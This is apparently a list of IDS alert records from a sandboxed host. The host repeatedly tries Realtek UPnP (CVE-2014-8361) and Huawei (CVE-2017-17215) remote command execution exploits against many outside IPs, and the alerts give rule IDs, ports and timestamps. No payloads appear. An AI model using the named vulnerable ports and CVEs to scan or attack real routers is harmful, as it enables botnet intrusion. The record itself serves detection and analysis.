Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 18.37.139.58

Timestamp:	07/20/24-23:01:02.275811
SID:	2027339
Source Port:	37202
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 48.69.126.229

Timestamp:	07/20/24-23:01:02.293628
SID:	2025132
Source Port:	35646
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 171.201.20.41

Timestamp:	07/20/24-23:01:08.582150
SID:	2027339
Source Port:	37226
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.75.227.101

Timestamp:	07/20/24-23:00:59.201033
SID:	2829579
Source Port:	56980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 197.85.104.215

Timestamp:	07/20/24-23:01:41.353334
SID:	2027339
Source Port:	39012
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 40.226.47.93

Timestamp:	07/20/24-23:01:31.322288
SID:	2831300
Source Port:	34440
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 174.126.153.78

Timestamp:	07/20/24-23:01:44.560666
SID:	2025132
Source Port:	41116
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 1.132.71.9

Timestamp:	07/20/24-23:01:46.289412
SID:	2831300
Source Port:	59166
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.204.247.250

Timestamp:	07/20/24-23:01:40.334933
SID:	2835222
Source Port:	33388
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 59.106.145.113

Timestamp:	07/20/24-23:01:47.307063
SID:	2027339
Source Port:	49106
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 115.35.215.139

Timestamp:	07/20/24-23:01:02.130152
SID:	2027339
Source Port:	59250
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.177.221.69

Timestamp:	07/20/24-23:01:31.983105
SID:	2835222
Source Port:	38428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.67.8.157

Timestamp:	07/20/24-23:01:04.049279
SID:	2835222
Source Port:	45534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 43.169.90.245

Timestamp:	07/20/24-23:00:59.194576
SID:	2829579
Source Port:	60616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 209.27.18.74

Timestamp:	07/20/24-23:01:59.660917
SID:	2027339
Source Port:	38730
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 131.18.19.96

Timestamp:	07/20/24-23:02:20.036130
SID:	2025132
Source Port:	39516
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 27.214.50.214

Timestamp:	07/20/24-23:02:06.884162
SID:	2831300
Source Port:	41536
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 183.154.28.107

Timestamp:	07/20/24-23:01:43.224525
SID:	2027339
Source Port:	45980
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.166.180.100

Timestamp:	07/20/24-23:01:07.066373
SID:	2835222
Source Port:	59408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 93.148.210.215

Timestamp:	07/20/24-23:01:41.686830
SID:	2027339
Source Port:	56344
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 116.175.162.178

Timestamp:	07/20/24-23:01:52.543362
SID:	2027339
Source Port:	51336
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 64.151.112.79

Timestamp:	07/20/24-23:01:56.577149
SID:	2027339
Source Port:	44372
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 108.79.31.157

Timestamp:	07/20/24-23:01:41.321505
SID:	2027339
Source Port:	44928
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 86.212.150.4

Timestamp:	07/20/24-23:01:51.328797
SID:	2831300
Source Port:	53538
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.240.149.129

Timestamp:	07/20/24-23:00:57.221570
SID:	2835222
Source Port:	42574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.203.129.55

Timestamp:	07/20/24-23:01:20.157620
SID:	2835222
Source Port:	59522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.200.114.238

Timestamp:	07/20/24-23:01:32.073087
SID:	2835222
Source Port:	56496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 165.21.238.229

Timestamp:	07/20/24-23:01:41.260372
SID:	2027339
Source Port:	55702
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 147.248.255.23

Timestamp:	07/20/24-23:01:52.388926
SID:	2027339
Source Port:	43206
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 63.80.178.96

Timestamp:	07/20/24-23:01:02.735576
SID:	2027339
Source Port:	36248
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.25.193.130

Timestamp:	07/20/24-23:00:57.223887
SID:	2835222
Source Port:	55928
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 27.150.162.76

Timestamp:	07/20/24-23:01:13.604911
SID:	2027339
Source Port:	45406
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.133.25.253

Timestamp:	07/20/24-23:01:00.637175
SID:	2835222
Source Port:	54302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 122.124.32.89

Timestamp:	07/20/24-23:01:41.279073
SID:	2025132
Source Port:	57644
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 188.173.105.15

Timestamp:	07/20/24-23:01:31.312614
SID:	2831300
Source Port:	56772
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 191.61.198.111

Timestamp:	07/20/24-23:01:42.069870
SID:	2027339
Source Port:	58724
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 133.79.190.240

Timestamp:	07/20/24-23:01:52.250832
SID:	2027339
Source Port:	33106
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 164.237.7.212

Timestamp:	07/20/24-23:02:04.525064
SID:	2025132
Source Port:	38604
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 105.36.101.44

Timestamp:	07/20/24-23:01:13.820007
SID:	2027339
Source Port:	37114
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 70.50.33.70

Timestamp:	07/20/24-23:01:47.987185
SID:	2831300
Source Port:	50506
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 67.74.166.37

Timestamp:	07/20/24-23:01:44.674251
SID:	2831300
Source Port:	53446
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 32.0.100.142

Timestamp:	07/20/24-23:01:44.954688
SID:	2027339
Source Port:	33416
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 43.175.201.8

Timestamp:	07/20/24-23:01:53.219427
SID:	2025132
Source Port:	34934
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.75.68.27

Timestamp:	07/20/24-23:01:34.043863
SID:	2835222
Source Port:	36224
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 145.21.134.81

Timestamp:	07/20/24-23:01:43.324295
SID:	2025132
Source Port:	39042
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 81.228.162.123

Timestamp:	07/20/24-23:02:08.719613
SID:	2025132
Source Port:	45138
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 204.194.235.34

Timestamp:	07/20/24-23:01:07.054782
SID:	2835222
Source Port:	46500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 125.53.48.130

Timestamp:	07/20/24-23:01:31.322217
SID:	2831300
Source Port:	50420
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 160.189.204.148

Timestamp:	07/20/24-23:01:01.426918
SID:	2027339
Source Port:	36142
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 37.246.135.67

Timestamp:	07/20/24-23:01:02.047411
SID:	2835222
Source Port:	55246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 201.73.178.106

Timestamp:	07/20/24-23:01:42.966087
SID:	2027339
Source Port:	42896
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.239.230.243

Timestamp:	07/20/24-23:01:06.991143
SID:	2835222
Source Port:	42378
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 183.154.28.107

Timestamp:	07/20/24-23:01:42.090121
SID:	2025132
Source Port:	45414
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 166.233.183.8

Timestamp:	07/20/24-23:01:57.321431
SID:	2027339
Source Port:	41312
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 137.85.104.5

Timestamp:	07/20/24-23:01:44.469580
SID:	2027339
Source Port:	43018
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 222.227.230.240

Timestamp:	07/20/24-23:01:45.484813
SID:	2831300
Source Port:	41322
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 24.151.6.155

Timestamp:	07/20/24-23:01:45.109699
SID:	2027339
Source Port:	52936
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 196.21.217.254

Timestamp:	07/20/24-23:01:46.212590
SID:	2831300
Source Port:	36886
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.250.145.46

Timestamp:	07/20/24-23:01:11.636425
SID:	2829579
Source Port:	39794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 183.249.169.230

Timestamp:	07/20/24-23:01:43.751196
SID:	2027339
Source Port:	49298
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 94.8.52.195

Timestamp:	07/20/24-23:01:43.364263
SID:	2027339
Source Port:	47600
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 166.254.78.153

Timestamp:	07/20/24-23:01:45.574617
SID:	2831300
Source Port:	45580
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 36.71.23.107

Timestamp:	07/20/24-23:01:43.874055
SID:	2025132
Source Port:	33176
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 106.193.250.91

Timestamp:	07/20/24-23:02:00.322736
SID:	2027339
Source Port:	55204
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 47.35.34.220

Timestamp:	07/20/24-23:01:42.839255
SID:	2027339
Source Port:	37964
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 133.187.212.183

Timestamp:	07/20/24-23:01:24.915904
SID:	2835222
Source Port:	59284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 89.142.100.244

Timestamp:	07/20/24-23:01:55.546480
SID:	2027339
Source Port:	56136
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 82.205.201.63

Timestamp:	07/20/24-23:01:24.916250
SID:	2835222
Source Port:	51264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.193.26.103

Timestamp:	07/20/24-23:01:11.662969
SID:	2835222
Source Port:	48664
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 40.122.120.5

Timestamp:	07/20/24-23:01:49.272788
SID:	2027339
Source Port:	37376
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 89.174.70.107

Timestamp:	07/20/24-23:01:42.728248
SID:	2831300
Source Port:	37248
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 138.36.169.221

Timestamp:	07/20/24-23:01:42.760231
SID:	2025132
Source Port:	52620
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 118.32.91.217

Timestamp:	07/20/24-23:01:44.745095
SID:	2025132
Source Port:	49278
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 80.92.70.69

Timestamp:	07/20/24-23:01:50.176893
SID:	2027339
Source Port:	50676
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.127.202.249

Timestamp:	07/20/24-23:00:57.221564
SID:	2829579
Source Port:	33418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 133.134.189.40

Timestamp:	07/20/24-23:02:07.969418
SID:	2025132
Source Port:	38164
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 74.139.190.105

Timestamp:	07/20/24-23:01:40.334452
SID:	2829579
Source Port:	37766
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.63.12.48

Timestamp:	07/20/24-23:01:20.132511
SID:	2835222
Source Port:	40818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 216.183.225.201

Timestamp:	07/20/24-23:02:00.322736
SID:	2831300
Source Port:	37216
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.234.59.179

Timestamp:	07/20/24-23:00:59.168569
SID:	2835222
Source Port:	57488
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 217.255.100.151

Timestamp:	07/20/24-23:01:20.591397
SID:	2831300
Source Port:	44614
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 1.111.156.136

Timestamp:	07/20/24-23:01:46.305660
SID:	2831300
Source Port:	59386
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 223.155.76.150

Timestamp:	07/20/24-23:01:53.631467
SID:	2027339
Source Port:	50728
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.199.123.9

Timestamp:	07/20/24-23:01:34.044417
SID:	2829579
Source Port:	52462
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.138.150.155

Timestamp:	07/20/24-23:00:59.154067
SID:	2835222
Source Port:	59582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 135.9.168.169

Timestamp:	07/20/24-23:01:08.581974
SID:	2027339
Source Port:	59630
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 101.184.157.141

Timestamp:	07/20/24-23:01:43.239928
SID:	2025132
Source Port:	41740
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 102.251.132.142

Timestamp:	07/20/24-23:01:48.413537
SID:	2025132
Source Port:	57454
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 78.1.44.43

Timestamp:	07/20/24-23:02:06.615381
SID:	2831300
Source Port:	50648
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 86.219.42.227

Timestamp:	07/20/24-23:01:04.742666
SID:	2025132
Source Port:	60858
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 143.38.216.11

Timestamp:	07/20/24-23:01:31.335096
SID:	2027339
Source Port:	52352
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.120.201.209

Timestamp:	07/20/24-23:01:04.050503
SID:	2829579
Source Port:	36920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 83.205.44.142

Timestamp:	07/20/24-23:01:45.287821
SID:	2027339
Source Port:	59420
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 207.100.140.133

Timestamp:	07/20/24-23:01:43.918137
SID:	2027339
Source Port:	35520
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 209.101.108.92

Timestamp:	07/20/24-23:01:08.590937
SID:	2831300
Source Port:	42412
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 205.45.42.138

Timestamp:	07/20/24-23:01:03.252602
SID:	2025132
Source Port:	35072
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 98.9.1.207

Timestamp:	07/20/24-23:01:42.313122
SID:	2027339
Source Port:	48484
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 93.61.135.109

Timestamp:	07/20/24-23:01:31.328066
SID:	2027339
Source Port:	46390
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 161.245.24.12

Timestamp:	07/20/24-23:01:44.993925
SID:	2027339
